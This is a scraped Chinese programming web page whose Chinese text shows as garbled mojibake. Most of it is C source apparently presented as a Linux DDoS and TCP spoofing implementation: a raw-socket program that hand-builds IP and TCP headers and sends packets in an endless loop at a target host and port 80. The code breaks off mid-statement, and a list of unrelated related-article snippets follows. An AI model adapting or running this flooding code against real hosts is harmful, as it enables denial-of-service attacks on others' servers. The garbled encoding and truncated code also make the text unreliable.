Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

LinuxÏÂÍøÂç¹¥»÷DDosµÄʵÏÖ´úÂ룬tcpÊý¾ÝÆÛÆ­µÄʵÏÖ

/*
×¢Ò⣺
Õâ´ÎÖ÷Òª¸ÄÁ˺¯Êýsend_tcpÀïµÄ´úÂ룬¾ÉµÄ´úÂëÔÚÌî³äip°üʱÓÐÎÊÌâ¡£
*/
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <netdb.h>
#define SRCPORT 1234
#define DSTPORT 80
struct prseuheader
{
unsigned long s_addr;
unsigned long d_addr;
unsigned char zero;
unsigned char prototp;
unsigned short len;
};
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on = 1;
if (argc != 2) {
fprintf(stderr, "Usage:%s hostname\n\a", argv[0]);
exit(1);
}
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, "HostName Error:%s\n\a", hstrerror(h_errno));
exit(1);
}
addr.sin_addr = *(struct in_addr *) (host->h_addr_list[0]);
}
//´´½¨Ò»¸öTCPµÄԭʼÌ×½Ó×Ö
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd < 0) {
fprintf(stderr, "Socket Error:%s\n\a", strerror(errno));
exit(1);
}
//ÉèÖÃIPÊý¾Ý°ü¸ñʽ,¸æËßϵͳÄÚºËÄ£¿éIPÊý¾Ý°üÓÉÎÒÃÇ×Ô¼ºÀ´Ìîд
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//Ö»Ó󬼶»¤Óû§²Å¿ÉÒÔʹÓÃԭʼÌ×½Ó×Ö
setuid(getpid());
send_tcp(sockfd, &addr);
return 0;
}
void send_tcp(int sockfd, struct sockaddr_in *addr)
{
while (1)
{
char buffer[100];
char tcpbuff[32];
struct ip *ip;
struct tcphdr *tcp;
struct prseuheader theheader;
int head_len;
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//Ìî³äIPÊý¾Ý°üÍ·
ip = (struct ip *) buffer;
ip->ip_v = IPVERSION;
ip->ip_hl = sizeof(struct ip) >> 2;
ip->ip_tos =


Ïà¹ØÎĵµ£º

ʵսLinux Bluetooth±à³Ì£¨ËÄ£© L2CAP²ã±à³Ì

£¨L2CAPЭÒé¼ò½é£¬L2CAPÔÚBlueZÖеÄʵÏÖÒÔ¼°L2CAP±à³Ì½Ó¿Ú£©
Ò»£ºL2CAPЭÒé¼ò½é£º
Logical Link Control and Adaptation Protocol(L2CAP)
Âß¼­Á¬½Ó¿ØÖƺÍÊÊÅäЭÒé (L2CAP) ΪÉϲãЭÒéÌá¹©ÃæÏòÁ¬½ÓºÍÎÞÁ¬½ÓµÄÊý¾Ý·þÎñ£¬²¢Ìṩ¶àЭÒ鹦ÄܺͷָîÖØ×é²Ù×÷¡£L2CAP ³äÐíÉϲãЭÒéºÍÓ¦ÓÃÈí¼þ´«ÊäºÍ½ÓÊÕ×î´ó³¤¶ÈΪ 64K µÄ L2CAP Ê ......

Éú²úÕß Ïû·ÑÕßÎÊÌâʵÏÖ (linuxÏÂCÓïÑÔ)

²Ù×÷ϵͳµÄÒ»¸ö¾­µäÎÊÌâÊÇ"Éú²úÕß-Ïû·ÑÕß"ÎÊÌâ, ÕâÉæ¼°Í¬²½ÐźÅÁ¿ºÍ»¥³âÐźÅÁ¿µÄÓ¦ÓÃ, ÔÚÕâÀï,ÎÒÓÃÏ̵߳Äͬ²½ºÍ»¥³âÀ´ÊµÏÖ.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <semaphore.h>
#define N 2   // Ïû·ÑÕß» ......

LinuxµÄÆô¶¯²½Öè


Load Bios
Read MBR's config to find out the os
Load the kernel of the os
init Process starts
execute /etc/rc.d /sysinit
start other modules (etc/modules.conf)
execute the run level scripts
execute /etc/rc.d/rc.local
execute /bin/login
shell started
......

Linux֮·ΪºÎÈç´Ë¼èÄÑ£¿






<!--
@page { margin: 2cm }
P { margin-bottom: 0.21cm }
-->
       ÔÚ±¾ÎÄÖУ¬Ëùν“
Linux
֮·”ÊÇָͨÏòÍêÃÀ
Linux
×ÀÃæµÄµÀ·¡£Ì¸Æð
Linux
×ÀÃæ£¬ÓÐÈ˲»Ð¼Ò»¹Ë£¬àÍÖ®ÒԱǡ£Êµ¼ÊÇé¿öÈçºÎ£¿
 
     11
ÔÂ
......

LinuxϱàÒëºÍ²¿ÊðJavaWeb³ÌÐò½Å±¾

 LinuxϱàÒëºÍ²¿ÊðJavaWeb³ÌÐò½Å±¾
Ŀ¼½á¹¹ÈçÏ£º
|
|---- YourProject
|             |-------- WebRoot
|             |          ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ